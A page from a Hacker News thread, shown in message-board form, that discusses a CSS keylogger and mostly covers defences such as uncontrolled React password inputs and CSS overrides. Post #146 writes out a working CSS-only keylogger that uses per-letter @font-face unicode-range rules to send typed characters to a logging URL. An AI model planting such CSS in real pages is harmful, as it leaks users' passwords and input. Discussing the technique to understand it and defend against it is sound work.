Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: A CSS Keylogger

github.com

Post reply on HN
Print view View original

141–150 of 173 posts

Re: Show HN: A CSS Keylogger

#141

Post by sgc »

kodablah wrote: post #25
theandrewbailey wrote: post #24

Earlier quoted context omitted.

Is there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)

It's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.

It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).

Re: Show HN: A CSS Keylogger

#142

Post by [deleted] »

Cyranix wrote: post #110
poxrud wrote: post #92

Earlier quoted context omitted.

For those that are confused, updating the property would mean: this.input.value = 'password'; This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: This would be vulnerable to the the CSS keylogger.

I believe using `defaultValue` instead of `value` would be an appropriate remediation.

[deleted]

Re: Show HN: A CSS Keylogger

#143

Post by netsharc »

Francute wrote: post #65
gsnedders wrote: post #47

Earlier quoted context omitted.

Assuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.

Not an efficient keylogger, however, if you know the pressed keys, you can just generate permutations ordered using probabilities, and that would be a lot faster than brute force. The real deal here is, it depends on some js code updating the dom for each key press, which is BAAAD. Not an useless keylogger, because it reminds a vulnerability product of choosing a bad decision.

Interestingly the password "BAAAD" would generate 3 requests to the logging server, since it wouldn't request the background image for the letter "A" more than one time. Or shouldn't, anyway.

Re: Show HN: A CSS Keylogger

#144

Post by gear54rus »

elliotec wrote: post #126
arca_vorago wrote: post #124

Earlier quoted context omitted.

One more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.

...What?

just the first stage of 'I hate JS because it's cool to hate JS'

second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'

Re: Show HN: A CSS Keylogger

#145

Post by Illniyar »

Kequc wrote: post #130

This exploit might be defeated with the following css: input[type="password"] { background-image: none !important; } And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.

Actually if you use inline style with important there is no way to override it.

I.e.

Re: Show HN: A CSS Keylogger

#146

Post by myfonj »

To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:

    
    css keylogger
    
    @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
    @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
    @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
    @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
    input { font-family: x, 'Comic sans ms'; }
    
    type `bcd` and watch network log
[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24 [2] https://news.ycombinator.com/item?id=16157773

Re: Show HN: A CSS Keylogger

#147

Post by rav »

baddox wrote: post #137
acostanza wrote: post #133

Earlier quoted context omitted.

Could use an uncontrolled component, which I don't think is vulnerable? https://reactjs.org/docs/uncontrolled-components.html For simple username/password entry I see no reason to use a controlled component.

That should be fine, at least for avoiding this attack. In general, though, there are solid reasons to use this pattern in React. With uncontrolled components, you won’t be able to use React to do form validation or AJAX form submission. You would need to bypass the React virtual DOM and attach listeners on the actual DOM elements.

You can still do form validation on submit though, according to dimgl's earlier comment: https://news.ycombinator.com/item?id=16426131

Re: Show HN: A CSS Keylogger

#148

Post by mrtksn »

baddox wrote: post #135
mrtksn wrote: post #113

Earlier quoted context omitted.

The pattern is to handle form fields locally in the browser as part of the application state. Basically, the value of the input is tied to a "state engine" that acts as a single source of truth and when the user types in the input you'll update the state so that the rest of the application can know what's going on in the form without accessing the DOM. The state engine is a fancy word for a variable that has a specia…

Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.

Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.

Re: Show HN: A CSS Keylogger

#149

Post by baddox »

rav wrote: post #147
baddox wrote: post #137

Earlier quoted context omitted.

That should be fine, at least for avoiding this attack. In general, though, there are solid reasons to use this pattern in React. With uncontrolled components, you won’t be able to use React to do form validation or AJAX form submission. You would need to bypass the React virtual DOM and attach listeners on the actual DOM elements.

You can still do form validation on submit though, according to dimgl's earlier comment: https://news.ycombinator.com/item?id=16426131

Very good point! With that method you can still display validation errors in a “Reacty” way. But you still don’t get pre-submit validation, like marking an input invalid on blur, or displaying real-time password strength.

Re: Show HN: A CSS Keylogger

#150

Post by baddox »

mrtksn wrote: post #148
baddox wrote: post #135

Earlier quoted context omitted.

Can’t speak about Vue, but that’s pretty much the recommended pattern for most input fields in React. But, as others have commented, it might be prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.

Unfortunately, that’s very inconvenient with React because you’ll have to start thinking about dom elements lifecycle separately of the react app lifecycle.

Definitely. It’s going to be a struggle to implement things like password confirmation validation or a real-time password strength indicator.
Post reply on HN